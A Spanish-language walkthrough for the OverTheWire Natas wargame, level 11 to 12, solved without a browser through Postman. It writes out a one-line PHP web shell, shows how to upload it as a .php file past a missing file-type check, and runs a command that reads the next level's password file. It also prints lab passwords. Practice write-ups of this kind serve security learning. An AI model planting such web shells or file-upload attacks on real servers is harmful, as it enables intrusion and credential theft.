OverTheWire - Natas 11 -> 12 (sin navegador)
November 2022
Información
Las contraseñas cambian cada cierto tiempo, existe la posibilidad de que esta contraseña ya no sea válida
Username: natas12
Password: YWqo0pjpcXzSIl5NMAVxg12QxeC1w9QG
URL: http://natas12.natas.labs.overthewire.org
Solución
Abrimos Postman y pegamos la URL.
En la respuesta vemos un link al código fuente de la aplicación y un formulario para ingresar un archivo .jpeg.
Creamos un archivo php para poder inyectar código en la aplicación.
<?php
echo shell_exec($_REQUEST['cmd']);
?>
Para poder enviar una imágen desde Postman debemos ir a la pestaña Body y seleccionar form-data.
Hacemos click en la flecha y seleccionamos file.
Hacemos click en el botón Select Files y seleccionamos nuestra archivo php.
Cambiamos el método a POST, le agregamos el nombre al campo donde subiremos la imagen uploadedfile
y también agregamos un campo llamado filename
a cualquier nombre. Lo importante del campo filename
es que la extensión debe ser .php
para que el servidor lo interprete como php, ya que si observamos el código fuente no encontraremos ningún filtro que nos impida subir archivos php en vez de archivos jpeg.
Una vez que hayamos subido el archivo correctamente la página nos mostrará la ruta donde se encontrará guardado nuestro archivo.
Si vamos a la ruta veremos un error.
Agregamos ?cmd=
a la URL y podremos ejecutar cualquier comando que queramos.
Ejecutamos el comando cat /etc/natas_webpass/natas13
veremos la contraseña en la respuesta.
Contraseña
lW3jYRI02ZKDBb8VtQBU1f6eDRo6WEj9